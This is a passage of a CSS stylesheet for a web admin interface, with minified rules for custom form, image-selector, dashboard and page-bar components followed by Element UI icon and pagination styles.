5rem;position:relative}.ub-form .line.flat{padding-left:0}.ub-form .line.wide{padding-left:8rem}.ub-form .line.wide .label{width:7.5rem;margin-left:-7.5rem}.ub-form .line .label{display:block;float:left;text-align:right;line-height:.7rem;padding:.4rem .5rem .4rem 0;margin:0 0 0 -4.5rem;width:4.5rem;overflow:hidden}.ub-form .line .label.label-lg{line-height:2rem}.ub-form .line .label span{color:red;display:inline-block;line-height:.7rem;font-size:.6rem}.ub-form .line .field{line-height:1.5rem;margin-left:0;min-height:1.5rem}.ub-form .line .field input[type=password],.ub-form .line .field input[type=text]{width:100%}.ub-form .line .field label{border:.05rem solid #eee;border-radius:.15rem;padding:0 .5rem}.ub-form .line .field .help{color:var(--color-tertiary);line-height:.9rem;padding:.25rem 0;font-size:.6rem}.ub-form .line .field .help p{margin:0;line-height:1.5em}.ub-form .line .field textarea{line-height:1.5em;width:100%}.ub-form .line .field .row.no-gutters input[name=captcha]{border-top-right-radius:0;border-bottom-right-radius:0}.ub-form .line .field .row.no-gutters .captcha{border-top-left-radius:0;border-bottom-left-radius:0;border-left:0}.ub-form .line .field .captcha{height:1.6rem;width:100%;border:.05rem solid #ddd;border-radius:.15rem;cursor:pointer}.ub-form .line .field .captcha.captcha-lg{height:2rem}.ub-form .line .field .tag{border:.05rem solid #eee;display:inline-block;line-height:1rem;border-radius:.15rem;padding:0 .15rem;background:#eee;color:#666;margin-right:.15rem;font-size:.6rem;white-space:nowrap}.ub-form.flat .line{padding:.5rem}.ub-form.flat .line .label{float:none;margin:0;width:100%;text-align:left;line-height:inherit!important;padding-bottom:.25rem}@media (max-width:40rem){.ub-form .line,.ub-form.wide .line,.ub-form.wide-lg .line{padding-left:.5rem;padding-right:.5rem;margin:0}.ub-form .line .label,.ub-form.wide .line .label,.ub-form.wide-lg .line .label{float:none;display:block;text-align:left;margin-left:0;width:100%}}.ub-image-list .item{margin-bottom:.75rem;display:block}.ub-image-list .item .cover{position:relative;overflow:hidden}.ub-image-list .item .cover img{position:absolute;top:0;left:0;width:100%;height:100%;opacity:0}.ub-image .cover{position:relative;overflow:hidden}.ub-image .cover img{position:absolute;top:0;left:0;width:100%;height:100%;opacity:0}.ub-image-selector{position:relative;width:3rem;height:3rem;box-shadow:0 0 1px #ccc;border-radius:.1rem;display:inline-block;vertical-align:middle}.ub-image-selector:hover .tools{display:block}.ub-image-selector.has-value .tools .preview{display:inline-block}.ub-image-selector.has-value .tools .add{display:none}.ub-image-selector .cover,.ub-images-selector .cover{width:100%}.ub-image-selector .tools,.ub-images-selector .tools{position:absolute;top:0;right:0;bottom:0;left:0;background:rgba(0,0,0,.5);color:#fff;border-radius:.1rem;text-align:center;padding:1rem 0 0 0;display:none}.ub-image-selector .tools .action,.ub-images-selector .tools .action{color:#fff;display:none;line-height:1rem;width:1rem;height:1rem;vertical-align:top}.ub-image-selector .tools .add,.ub-images-selector .tools .add{display:inline-block}.ub-image-selector .tools .close,.ub-images-selector .tools .close{position:absolute;top:.1rem;right:.1rem;width:.6rem;height:.6rem;line-height:.6rem;text-align:center;display:block}.ub-images-selector{overflow:hidden}.ub-images-selector .item{position:relative;width:3rem;height:3rem;box-shadow:0 0 1px #ccc;border-radius:.1rem;display:inline-block;vertical-align:middle;margin:.05rem .1rem .1rem .05rem}.ub-images-selector .item.add{line-height:3rem;text-align:center}.ub-images-selector .item.add .action{color:#c4cfdb;font-size:1rem}.ub-images-selector .item:hover .tools{display:block}.ub-images-selector .item:hover .tools .action{display:inline-block}.ub-dashboard-item .title-gray{color:var(--color-tertiary)}.ub-dashboard-item .value-primary .number{color:var(--color-primary);font-size:var(--font-size-large)}.ub-dashboard-item-a,.ub-dashboard-item-b{background:#fff;border-radius:var(--size-radius,.25rem);padding:.5rem 1rem .5rem 3.5rem;transition:all .2s;box-shadow:0 4px 8px 2px rgba(132,163,246,.08);display:block;margin-bottom:.5rem}.ub-dashboard-item-a:hover,.ub-dashboard-item-b:hover{box-shadow:0 4px 8px 2px rgba(132,163,246,.2)}.ub-dashboard-item-a .icon,.ub-dashboard-item-b .icon{float:left;width:2rem;margin-left:-2.5rem;margin-top:.5rem;text-align:center;height:2rem;line-height:2rem;color:var(--color-primary)}.ub-dashboard-item-a .icon .font,.ub-dashboard-item-b .icon .font{font-size:2rem}.ub-dashboard-item-a .title,.ub-dashboard-item-b .title{font-size:var(--font-size,.65rem);font-weight:500;color:var(--color-primary)}.ub-dashboard-item-a .desc,.ub-dashboard-item-b .desc{padding:.25rem 0 0 0;color:var(--color-tertiary);font-size:var(--font-size-small,.6rem);display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2;overflow:hidden}.ub-dashboard-item-a .number-title,.ub-dashboard-item-b .number-title{font-size:var(--font-size,.65rem);font-weight:500;color:var(--color-tertiary)}.ub-dashboard-item-a .number-value,.ub-dashboard-item-b .number-value{color:var(--color-text);font-size:1.2rem;line-height:2rem}.ub-dashboard-item-b{text-align:right;background:var(--color-primary)}.ub-dashboard-item-b .icon{color:#fff}.ub-dashboard-item-b .number-value{color:#fff}.ub-dashboard-item-b .number-title{color:#eee}.ub-i18n-switch{background:rgba(0,0,0,.5);position:fixed;top:0;right:0;left:0;bottom:0;overflow:auto;display:none;z-index:10000}.ub-i18n-switch .dialog{background:#fff;max-width:40rem;margin:15vh auto 0 auto;border-radius:5px;box-shadow:0 0 4px #c4cfdb;position:relative}.ub-i18n-switch .dialog .close{display:block;width:1.5rem;height:1.5rem;line-height:1.5rem;color:#c4cfdb;background:#fff;text-align:center;position:absolute;right:-.75rem;top:-.75rem;border-radius:50%;box-shadow:0 0 3px #c4cfdb}.ub-i18n-switch .dialog .head{border-bottom:1px solid #eee;padding:.5rem}.ub-i18n-switch .dialog .body{padding:1rem}.ub-i18n-switch .dialog .body .languages .item{display:block;padding:.25rem .5rem .25rem 2rem;line-height:1rem}.ub-i18n-switch .dialog .body .languages .item:hover .text{color:var(--color-primary)}.ub-i18n-switch .dialog .body .languages .item .icon{display:block;width:1rem;height:1rem;background:#fff no-repeat center;background-size:contain;margin:0 0 0 -1.5rem;float:left}.ub-i18n-switch .dialog .body .languages .item .text{display:block;color:#333}.ub-bar-page{position:fixed;right:1rem;bottom:2rem;z-index:10000;background:#fff;border-radius:.5rem;box-shadow:0 0 1rem #ddd}.ub-bar-page.close{right:0;bottom:1rem}.ub-bar-page.close .items{display:none}.ub-bar-page.close .item-top{display:none}.ub-bar-page.close .bar-page-close{display:none}.ub-bar-page.close .bar-page-show{display:block}.ub-bar-page .bar-page-show{border:1px solid var(--color-primary);background-color:var(--color-content-bg);color:var(--color-primary);width:24px;border-radius:5px 0 0 5px;line-height:18px;text-align:center;cursor:pointer;font-size:12px;display:none}.ub-bar-page .bar-page-close{border:1px solid var(--color-primary);background-color:transparent;position:absolute;color:var(--color-primary);width:24px;height:24px;border-radius:50%;line-height:22px;font-size:16px;text-align:center;right:22px;bottom:-29px;cursor:pointer;display:block}.ub-bar-page .items .item{width:3.5rem;height:3.5rem;display:block;color:var(--color-primary);text-align:center;padding:.5rem;position:relative;cursor:pointer;transition:background-color .5s;background:#fff}.ub-bar-page .items .item:first-child{border-top-left-radius:.5rem;border-top-right-radius:.5rem}.ub-bar-page .items .item:last-child{border-bottom-left-radius:.5rem;border-bottom-right-radius:.5rem}.ub-bar-page .items .item:hover .popup{display:block}.ub-bar-page .items .item .popup{position:absolute;right:3.5rem;bottom:0;background:#fff;border-radius:.5rem;box-shadow:0 0 .5rem #ddd;width:10rem;min-height:2rem;padding:.5rem;display:none}.ub-bar-page .items .item .popup .content{color:#333}.ub-bar-page .items .item .popup .content img{width:9rem}.ub-bar-page .items .item:hover{background:var(--color-primary-light-bg);transition:background .5s}.ub-bar-page .items .item.item-icon .icon{line-height:2rem;height:2rem}.ub-bar-page .items .item .icon{height:1.5rem;line-height:1.5rem;font-size:1.5rem;display:block}.ub-bar-page .items .item .text{height:.5rem;line-height:.5rem;display:block;font-size:.5rem}.ub-bar-page .item-top{width:3.5rem;height:3.5rem;display:block;background:0 0;cursor:pointer;border:.1rem solid var(--color-primary);border-radius:50%;position:absolute;top:-4rem}.ub-bar-page .item-top .cover{width:3.3rem;height:3.3rem;border:1px solid var(--color-primary);border-radius:50%;animation:3s ease-in-out 0s infinite avatarScaling}.ub-bar-page .item-top .cover .avatar{width:100%;height:100%;background-size:cover;border-radius:50%}.ub-bar-page .item-top:hover .popup{display:block}.ub-bar-page .item-top .popup{position:absolute;right:3.5rem;top:0;background:#fff;border-radius:.5rem;box-shadow:0 0 .5rem #ddd;width:10rem;min-height:2rem;padding:.5rem;display:none}.ub-bar-page .item-top .popup .content{color:#333}.ub-bar-page .item-top .popup .content img{width:9rem}@keyframes avatarScaling{0%{transform:scale(1)}25%{transform:scale(.8)}50%{transform:scale(1)}75%{transform:scale(.8)}}.ub-bar-page .item-back{color:#999;pointer-events:none}html.body-scroll-far .ub-bar-page .item-back{color:var(--color-primary);pointer-events:all}@media (max-width:40rem){.ub-bar-page{bottom:2rem;width:2rem}.ub-bar-page.close{width:auto}.ub-bar-page .bar-page-close{right:9px}.ub-bar-page .items .item{width:2rem;height:2rem;padding:.25rem 0}.ub-bar-page .items .item .popup{right:2.25rem}.ub-bar-page .items .item .icon{font-size:1rem;line-height:1rem;height:1rem}.ub-bar-page .items .item .text{font-size:.5rem}.ub-bar-page .items .item-icon{padding:0}.ub-bar-page .item-top{top:-2.5rem;width:2rem;height:2rem;border-width:.1rem}.ub-bar-page .item-top .cover{width:1.8rem;height:1.8rem}.ub-bar-page .item-top .popup{right:2.25rem;top:initial;bottom:0}}/*! +@charset "UTF-8"; +.el-pagination--small .arrow.disabled, +.el-table .hidden-columns, +.el-table td.is-hidden>*, +.el-table th.is-hidden>*, +.el-table--hidden { + visibility: hidden +} + +.el-input__suffix, +.el-tree.is-dragging .el-tree-node__content * { + pointer-events: none +} + +.el-dropdown .el-dropdown-selfdefine:focus:active, +.el-dropdown .el-dropdown-selfdefine:focus:not(.focusing), +.el-message__closeBtn:focus, +.el-message__content:focus, +.el-popover:focus, +.el-popover:focus:active, +.el-popover__reference:focus:hover, +.el-popover__reference:focus:not(.focusing), +.el-rate:active, +.el-rate:focus, +.el-tooltip:focus:hover, +.el-tooltip:focus:not(.focusing), +.el-upload-list__item.is-success:active, +.el-upload-list__item.is-success:not(.focusing):focus { + outline-width: 0 +} + +@font-face { + font-family: element-icons; + src: url(../../vendor/element-ui/fonts/element-icons.woff) format("woff"), url(../../vendor/element-ui/fonts/element-icons.ttf) format("truetype"); + font-weight: 400; + font-display: auto; + font-style: normal +} + +[class*=" el-icon-"], +[class^=el-icon-] { + font-family: element-icons !important; + speak: none; + font-style: normal; + font-weight: 400; + font-variant: normal; + text-transform: none; + line-height: 1; + vertical-align: baseline; + display: inline-block; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale +} + +.el-icon-ice-cream-round:before { + content: "\e6a0" +} + +.el-icon-ice-cream-square:before { + content: "\e6a3" +} + +.el-icon-lollipop:before { + content: "\e6a4" +} + +.el-icon-potato-strips:before { + content: "\e6a5" +} + +.el-icon-milk-tea:before { + content: "\e6a6" +} + +.el-icon-ice-drink:before { + content: "\e6a7" +} + +.el-icon-ice-tea:before { + content: "\e6a9" +} + +.el-icon-coffee:before { + content: "\e6aa" +} + +.el-icon-orange:before { + content: "\e6ab" +} + +.el-icon-pear:before { + content: "\e6ac" +} + +.el-icon-apple:before { + content: "\e6ad" +} + +.el-icon-cherry:before { + content: "\e6ae" +} + +.el-icon-watermelon:before { + content: "\e6af" +} + +.el-icon-grape:before { + content: "\e6b0" +} + +.el-icon-refrigerator:before { + content: "\e6b1" +} + +.el-icon-goblet-square-full:before { + content: "\e6b2" +} + +.el-icon-goblet-square:before { + content: "\e6b3" +} + +.el-icon-goblet-full:before { + content: "\e6b4" +} + +.el-icon-goblet:before { + content: "\e6b5" +} + +.el-icon-cold-drink:before { + content: "\e6b6" +} + +.el-icon-coffee-cup:before { + content: "\e6b8" +} + +.el-icon-water-cup:before { + content: "\e6b9" +} + +.el-icon-hot-water:before { + content: "\e6ba" +} + +.el-icon-ice-cream:before { + content: "\e6bb" +} + +.el-icon-dessert:before { + content: "\e6bc" +} + +.el-icon-sugar:before { + content: "\e6bd" +} + +.el-icon-tableware:before { + content: "\e6be" +} + +.el-icon-burger:before { + content: "\e6bf" +} + +.el-icon-knife-fork:before { + content: "\e6c1" +} + +.el-icon-fork-spoon:before { + content: "\e6c2" +} + +.el-icon-chicken:before { + content: "\e6c3" +} + +.el-icon-food:before { + content: "\e6c4" +} + +.el-icon-dish-1:before { + content: "\e6c5" +} + +.el-icon-dish:before { + content: "\e6c6" +} + +.el-icon-moon-night:before { + content: "\e6ee" +} + +.el-icon-moon:before { + content: "\e6f0" +} + +.el-icon-cloudy-and-sunny:before { + content: "\e6f1" +} + +.el-icon-partly-cloudy:before { + content: "\e6f2" +} + +.el-icon-cloudy:before { + content: "\e6f3" +} + +.el-icon-sunny:before { + content: "\e6f6" +} + +.el-icon-sunset:before { + content: "\e6f7" +} + +.el-icon-sunrise-1:before { + content: "\e6f8" +} + +.el-icon-sunrise:before { + content: "\e6f9" +} + +.el-icon-heavy-rain:before { + content: "\e6fa" +} + +.el-icon-lightning:before { + content: "\e6fb" +} + +.el-icon-light-rain:before { + content: "\e6fc" +} + +.el-icon-wind-power:before { + content: "\e6fd" +} + +.el-icon-baseball:before { + content: "\e712" +} + +.el-icon-soccer:before { + content: "\e713" +} + +.el-icon-football:before { + content: "\e715" +} + +.el-icon-basketball:before { + content: "\e716" +} + +.el-icon-ship:before { + content: "\e73f" +} + +.el-icon-truck:before { + content: "\e740" +} + +.el-icon-bicycle:before { + content: "\e741" +} + +.el-icon-mobile-phone:before { + content: "\e6d3" +} + +.el-icon-service:before { + content: "\e6d4" +} + +.el-icon-key:before { + content: "\e6e2" +} + +.el-icon-unlock:before { + content: "\e6e4" +} + +.el-icon-lock:before { + content: "\e6e5" +} + +.el-icon-watch:before { + content: "\e6fe" +} + +.el-icon-watch-1:before { + content: "\e6ff" +} + +.el-icon-timer:before { + content: "\e702" +} + +.el-icon-alarm-clock:before { + content: "\e703" +} + +.el-icon-map-location:before { + content: "\e704" +} + +.el-icon-delete-location:before { + content: "\e705" +} + +.el-icon-add-location:before { + content: "\e706" +} + +.el-icon-location-information:before { + content: "\e707" +} + +.el-icon-location-outline:before { + content: "\e708" +} + +.el-icon-location:before { + content: "\e79e" +} + +.el-icon-place:before { + content: "\e709" +} + +.el-icon-discover:before { + content: "\e70a" +} + +.el-icon-first-aid-kit:before { + content: "\e70b" +} + +.el-icon-trophy-1:before { + content: "\e70c" +} + +.el-icon-trophy:before { + content: "\e70d" +} + +.el-icon-medal:before { + content: "\e70e" +} + +.el-icon-medal-1:before { + content: "\e70f" +} + +.el-icon-stopwatch:before { + content: "\e710" +} + +.el-icon-mic:before { + content: "\e711" +} + +.el-icon-copy-document:before { + content: "\e718" +} + +.el-icon-full-screen:before { + content: "\e719" +} + +.el-icon-switch-button:before { + content: "\e71b" +} + +.el-icon-aim:before { + content: "\e71c" +} + +.el-icon-crop:before { + content: "\e71d" +} + +.el-icon-odometer:before { + content: "\e71e" +} + +.el-icon-time:before { + content: "\e71f" +} + +.el-icon-bangzhu:before { + content: "\e724" +} + +.el-icon-close-notification:before { + content: "\e726" +} + +.el-icon-microphone:before { + content: "\e727" +} + +.el-icon-turn-off-microphone:before { + content: "\e728" +} + +.el-icon-position:before { + content: "\e729" +} + +.el-icon-postcard:before { + content: "\e72a" +} + +.el-icon-message:before { + content: "\e72b" +} + +.el-icon-chat-line-square:before { + content: "\e72d" +} + +.el-icon-chat-dot-square:before { + content: "\e72e" +} + +.el-icon-chat-dot-round:before { + content: "\e72f" +} + +.el-icon-chat-square:before { + content: "\e730" +} + +.el-icon-chat-line-round:before { + content: "\e731" +} + +.el-icon-chat-round:before { + content: "\e732" +} + +.el-icon-set-up:before { + content: "\e733" +} + +.el-icon-turn-off:before { + content: "\e734" +} + +.el-icon-open:before { + content: "\e735" +} + +.el-icon-connection:before { + content: "\e736" +} + +.el-icon-link:before { + content: "\e737" +} + +.el-icon-cpu:before { + content: "\e738" +} + +.el-icon-thumb:before { + content: "\e739" +} + +.el-icon-female:before { + content: "\e73a" +} + +.el-icon-male:before { + content: "\e73b" +} + +.el-icon-guide:before { + content: "\e73c" +} + +.el-icon-news:before { + content: "\e73e" +} + +.el-icon-price-tag:before { + content: "\e744" +} + +.el-icon-discount:before { + content: "\e745" +} + +.el-icon-wallet:before { + content: "\e747" +} + +.el-icon-coin:before { + content: "\e748" +} + +.el-icon-money:before { + content: "\e749" +} + +.el-icon-bank-card:before { + content: "\e74a" +} + +.el-icon-box:before { + content: "\e74b" +} + +.el-icon-present:before { + content: "\e74c" +} + +.el-icon-sell:before { + content: "\e6d5" +} + +.el-icon-sold-out:before { + content: "\e6d6" +} + +.el-icon-shopping-bag-2:before { + content: "\e74d" +} + +.el-icon-shopping-bag-1:before { + content: "\e74e" +} + +.el-icon-shopping-cart-2:before { + content: "\e74f" +} + +.el-icon-shopping-cart-1:before { + content: "\e750" +} + +.el-icon-shopping-cart-full:before { + content: "\e751" +} + +.el-icon-smoking:before { + content: "\e752" +} + +.el-icon-no-smoking:before { + content: "\e753" +} + +.el-icon-house:before { + content: "\e754" +} + +.el-icon-table-lamp:before { + content: "\e755" +} + +.el-icon-school:before { + content: "\e756" +} + +.el-icon-office-building:before { + content: "\e757" +} + +.el-icon-toilet-paper:before { + content: "\e758" +} + +.el-icon-notebook-2:before { + content: "\e759" +} + +.el-icon-notebook-1:before { + content: "\e75a" +} + +.el-icon-files:before { + content: "\e75b" +} + +.el-icon-collection:before { + content: "\e75c" +} + +.el-icon-receiving:before { + content: "\e75d" +} + +.el-icon-suitcase-1:before { + content: "\e760" +} + +.el-icon-suitcase:before { + content: "\e761" +} + +.el-icon-film:before { + content: "\e763" +} + +.el-icon-collection-tag:before { + content: "\e765" +} + +.el-icon-data-analysis:before { + content: "\e766" +} + +.el-icon-pie-chart:before { + content: "\e767" +} + +.el-icon-data-board:before { + content: "\e768" +} + +.el-icon-data-line:before { + content: "\e76d" +} + +.el-icon-reading:before { + content: "\e769" +} + +.el-icon-magic-stick:before { + content: "\e76a" +} + +.el-icon-coordinate:before { + content: "\e76b" +} + +.el-icon-mouse:before { + content: "\e76c" +} + +.el-icon-brush:before { + content: "\e76e" +} + +.el-icon-headset:before { + content: "\e76f" +} + +.el-icon-umbrella:before { + content: "\e770" +} + +.el-icon-scissors:before { + content: "\e771" +} + +.el-icon-mobile:before { + content: "\e773" +} + +.el-icon-attract:before { + content: "\e774" +} + +.el-icon-monitor:before { + content: "\e775" +} + +.el-icon-search:before { + content: "\e778" +} + +.el-icon-takeaway-box:before { + content: "\e77a" +} + +.el-icon-paperclip:before { + content: "\e77d" +} + +.el-icon-printer:before { + content: "\e77e" +} + +.el-icon-document-add:before { + content: "\e782" +} + +.el-icon-document:before { + content: "\e785" +} + +.el-icon-document-checked:before { + content: "\e786" +} + +.el-icon-document-copy:before { + content: "\e787" +} + +.el-icon-document-delete:before { + content: "\e788" +} + +.el-icon-document-remove:before { + content: "\e789" +} + +.el-icon-tickets:before { + content: "\e78b" +} + +.el-icon-folder-checked:before { + content: "\e77f" +} + +.el-icon-folder-delete:before { + content: "\e780" +} + +.el-icon-folder-remove:before { + content: "\e781" +} + +.el-icon-folder-add:before { + content: "\e783" +} + +.el-icon-folder-opened:before { + content: "\e784" +} + +.el-icon-folder:before { + content: "\e78a" +} + +.el-icon-edit-outline:before { + content: "\e764" +} + +.el-icon-edit:before { + content: "\e78c" +} + +.el-icon-date:before { + content: "\e78e" +} + +.el-icon-c-scale-to-original:before { + content: "\e7c6" +} + +.el-icon-view:before { + content: "\e6ce" +} + +.el-icon-loading:before { + content: "\e6cf" +} + +.el-icon-rank:before { + content: "\e6d1" +} + +.el-icon-sort-down:before { + content: "\e7c4" +} + +.el-icon-sort-up:before { + content: "\e7c5" +} + +.el-icon-sort:before { + content: "\e6d2" +} + +.el-icon-finished:before { + content: "\e6cd" +} + +.el-icon-refresh-left:before { + content: "\e6c7" +} + +.el-icon-refresh-right:before { + content: "\e6c8" +} + +.el-icon-refresh:before { + content: "\e6d0" +} + +.el-icon-video-play:before { + content: "\e7c0" +} + +.el-icon-video-pause:before { + content: "\e7c1" +} + +.el-icon-d-arrow-right:before { + content: "\e6dc" +} + +.el-icon-d-arrow-left:before { + content: "\e6dd" +} + +.el-icon-arrow-up:before { + content: "\e6e1" +} + +.el-icon-arrow-down:before { + content: "\e6df" +} + +.el-icon-arrow-right:before { + content: "\e6e0" +} + +.el-icon-arrow-left:before { + content: "\e6de" +} + +.el-icon-top-right:before { + content: "\e6e7" +} + +.el-icon-top-left:before { + content: "\e6e8" +} + +.el-icon-top:before { + content: "\e6e6" +} + +.el-icon-bottom:before { + content: "\e6eb" +} + +.el-icon-right:before { + content: "\e6e9" +} + +.el-icon-back:before { + content: "\e6ea" +} + +.el-icon-bottom-right:before { + content: "\e6ec" +} + +.el-icon-bottom-left:before { + content: "\e6ed" +} + +.el-icon-caret-top:before { + content: "\e78f" +} + +.el-icon-caret-bottom:before { + content: "\e790" +} + +.el-icon-caret-right:before { + content: "\e791" +} + +.el-icon-caret-left:before { + content: "\e792" +} + +.el-icon-d-caret:before { + content: "\e79a" +} + +.el-icon-share:before { + content: "\e793" +} + +.el-icon-menu:before { + content: "\e798" +} + +.el-icon-s-grid:before { + content: "\e7a6" +} + +.el-icon-s-check:before { + content: "\e7a7" +} + +.el-icon-s-data:before { + content: "\e7a8" +} + +.el-icon-s-opportunity:before { + content: "\e7aa" +} + +.el-icon-s-custom:before { + content: "\e7ab" +} + +.el-icon-s-claim:before { + content: "\e7ad" +} + +.el-icon-s-finance:before { + content: "\e7ae" +} + +.el-icon-s-comment:before { + content: "\e7af" +} + +.el-icon-s-flag:before { + content: "\e7b0" +} + +.el-icon-s-marketing:before { + content: "\e7b1" +} + +.el-icon-s-shop:before { + content: "\e7b4" +} + +.el-icon-s-open:before { + content: "\e7b5" +} + +.el-icon-s-management:before { + content: "\e7b6" +} + +.el-icon-s-ticket:before { + content: "\e7b7" +} + +.el-icon-s-release:before { + content: "\e7b8" +} + +.el-icon-s-home:before { + content: "\e7b9" +} + +.el-icon-s-promotion:before { + content: "\e7ba" +} + +.el-icon-s-operation:before { + content: "\e7bb" +} + +.el-icon-s-unfold:before { + content: "\e7bc" +} + +.el-icon-s-fold:before { + content: "\e7a9" +} + +.el-icon-s-platform:before { + content: "\e7bd" +} + +.el-icon-s-order:before { + content: "\e7be" +} + +.el-icon-s-cooperation:before { + content: "\e7bf" +} + +.el-icon-bell:before { + content: "\e725" +} + +.el-icon-message-solid:before { + content: "\e799" +} + +.el-icon-video-camera:before { + content: "\e772" +} + +.el-icon-video-camera-solid:before { + content: "\e796" +} + +.el-icon-camera:before { + content: "\e779" +} + +.el-icon-camera-solid:before { + content: "\e79b" +} + +.el-icon-download:before { + content: "\e77c" +} + +.el-icon-upload2:before { + content: "\e77b" +} + +.el-icon-upload:before { + content: "\e7c3" +} + +.el-icon-picture-outline-round:before { + content: "\e75f" +} + +.el-icon-picture-outline:before { + content: "\e75e" +} + +.el-icon-picture:before { + content: "\e79f" +} + +.el-icon-close:before { + content: "\e6db" +} + +.el-icon-check:before { + content: "\e6da" +} + +.el-icon-plus:before { + content: "\e6d9" +} + +.el-icon-minus:before { + content: "\e6d8" +} + +.el-icon-help:before { + content: "\e73d" +} + +.el-icon-s-help:before { + content: "\e7b3" +} + +.el-icon-circle-close:before { + content: "\e78d" +} + +.el-icon-circle-check:before { + content: "\e720" +} + +.el-icon-circle-plus-outline:before { + content: "\e723" +} + +.el-icon-remove-outline:before { + content: "\e722" +} + +.el-icon-zoom-out:before { + content: "\e776" +} + +.el-icon-zoom-in:before { + content: "\e777" +} + +.el-icon-error:before { + content: "\e79d" +} + +.el-icon-success:before { + content: "\e79c" +} + +.el-icon-circle-plus:before { + content: "\e7a0" +} + +.el-icon-remove:before { + content: "\e7a2" +} + +.el-icon-info:before { + content: "\e7a1" +} + +.el-icon-question:before { + content: "\e7a4" +} + +.el-icon-warning-outline:before { + content: "\e6c9" +} + +.el-icon-warning:before { + content: "\e7a3" +} + +.el-icon-goods:before { + content: "\e7c2" +} + +.el-icon-s-goods:before { + content: "\e7b2" +} + +.el-icon-star-off:before { + content: "\e717" +} + +.el-icon-star-on:before { + content: "\e797" +} + +.el-icon-more-outline:before { + content: "\e6cc" +} + +.el-icon-more:before { + content: "\e794" +} + +.el-icon-phone-outline:before { + content: "\e6cb" +} + +.el-icon-phone:before { + content: "\e795" +} + +.el-icon-user:before { + content: "\e6e3" +} + +.el-icon-user-solid:before { + content: "\e7a5" +} + +.el-icon-setting:before { + content: "\e6ca" +} + +.el-icon-s-tools:before { + content: "\e7ac" +} + +.el-icon-delete:before { + content: "\e6d7" +} + +.el-icon-delete-solid:before { + content: "\e7c9" +} + +.el-icon-eleme:before { + content: "\e7c7" +} + +.el-icon-platform-eleme:before { + content: "\e7ca" +} + +.el-icon-loading { + -webkit-animation: rotating 2s linear infinite; + animation: rotating 2s linear infinite +} + +.el-icon--right { + margin-left: 5px +} + +.el-icon--left { + margin-right: 5px +} + +@-webkit-keyframes rotating { + 0% { + -webkit-transform: rotateZ(0); + transform: rotateZ(0) + } + 100% { + -webkit-transform: rotateZ(360deg); + transform: rotateZ(360deg) + } +} + +@keyframes rotating { + 0% { + -webkit-transform: rotateZ(0); + transform: rotateZ(0) + } + 100% { + -webkit-transform: rotateZ(360deg); + transform: rotateZ(360deg) + } +} + +.el-pagination { + white-space: nowrap; + padding: 2px 5px; + color: #303133; + font-weight: 700 +} + +.el-pagination::after, +.el-pagination::before { + display: table; + content: "" +} + +.el-pagination::after { + clear: both +} + +.el-pagination button, +.el-pagination span:not([class*=suffix]) { + display: inline-block; + font-size: 13px; + min-width: 35.5px; + height: 28px; + line-height: 28px; + vertical-align: top; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-pagination .el-input__inner { + text-align: center; + -moz-appearance: textfield; + line-height: normal +} + +.el-pagination .el-input__suffix { + right: 0; + -webkit-transform: scale(.8); + transform: scale(.8) +} + +.el-pagination .el-select .el-input { + width: 100px; + margin: 0 5px +} + +.el-pagination .el-select .el-input .el-input__inner { + padding-right: 25px; + border-radius: 3px +} + +.el-pagination button { + border: none; + padding: 0 6px; + background: 0 0 +} + +.el-pagination button:focus { + outline: 0 +} + +.el-pagination button:hover { + color: var(--color-primary, #419488) +} + +.el-pagination button:disabled { + color: #c0c4cc; + background-color: #fff; + cursor: not-allowed +} + +.el-pagination .btn-next, +.el-pagination .btn-prev { + background: center center no-repeat #fff; + background-size: 16px; + cursor: pointer; + margin: 0; + color: #303133 +} + +.el-pagination .btn-next .el-icon, +.el-pagination .btn-prev .el-icon { + display: block; + font-size: 12px; + font-weight: 700 +} + +.el-pagination .btn-prev { + padding-right: 12px +} + +.el-pagination .btn-next { + padding-left: 12px +} + +.el-pagination .el-pager li.disabled { + color: #c0c4cc; + cursor: not-allowed +} + +.el-pager li, +.el-pager li.btn-quicknext:hover, +.el-pager li.btn-quickprev:hover { + cursor: pointer +} + +.el-pagination--small .btn-next, +.el-pagination--small .btn-prev, +.el-pagination--small .el-pager li, +.el-pagination--small .el-pager li.btn-quicknext, +.el-pagination--small .el-pager li.btn-quickprev, +.el-pagination--small .el-pager li:last-child { + border-color: transparent; + font-size: 12px; + line-height: 22px; + height: 22px; + min-width: 22px +} + +.el-pagination--small .more::before, +.el-pagination--small li.more::before { + line-height: 24px +} + +.el-pagination--small button, +.el-pagination--small span:not([class*=suffix]) { + height: 22px; + line-height: 22px +} + +.el-pagination--small .el-pagination__editor, +.el-pagination--small .el-pagination__editor.el-input .el-input__inner { + height: 22px +} + +.el-pagination__sizes { + margin: 0 10px 0 0; + font-weight: 400; + color: #606266 +} + +.el-pagination__sizes .el-input .el-input__inner { + font-size: 13px; + padding-left: 8px +} + +.el-pagination__sizes .el-input .el-input__inner:hover { + border-color: var(--color-primary, #419488) +} + +.el-pagination__total { + margin-right: 10px; + font-weight: 400; + color: #606266 +} + +.el-pagination__jump { + margin-left: 24px; + font-weight: 400; + color: #606266 +} + +.el-pagination__jump .el-input__inner { + padding: 0 3px +} + +.el-pagination__rightwrapper { + float: right +} + +.el-pagination__editor { + line-height: 18px; + padding: 0 2px; + height: 28px; + text-align: center; + margin: 0 2px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 3px +} + +.el-pager, +.el-pagination.is-background .btn-next, +.el-pagination.is-background .btn-prev { + padding: 0 +} + +.el-pagination__editor.el-input { + width: 50px +} + +.el-pagination__editor.el-input .el-input__inner { + height: 28px +} + +.el-pagination__editor .el-input__inner::-webkit-inner-spin-button, +.el-pagination__editor .el-input__inner::-webkit-outer-spin-button { + -webkit-appearance: none; + margin: 0 +} + +.el-pagination.is-background .btn-next, +.el-pagination.is-background .btn-prev, +.el-pagination.is-background .el-pager li { + margin: 0 5px; + background-color: #f4f4f5; + color: #606266; + min-width: 30px; + border-radius: 2px +} + +.el-pagination.is-background .btn-next.disabled, +.el-pagination.is-background .btn-next:disabled, +.el-pagination.is-background .btn-prev.disabled, +.el-pagination.is-background .btn-prev:disabled, +.el-pagination.is-background .el-pager li.disabled { + color: #c0c4cc +} + +.el-pagination.is-background .el-pager li:not(.disabled):hover { + color: var(--color-primary, #419488) +} + +.el-pagination.is-background .el-pager li:not(.disabled).active { + background-color: var(--color-primary, #419488); + color: #fff +} + +.el-dialog, +.el-pager li { + background: #fff; + -webkit-box-sizing: border-box +} + 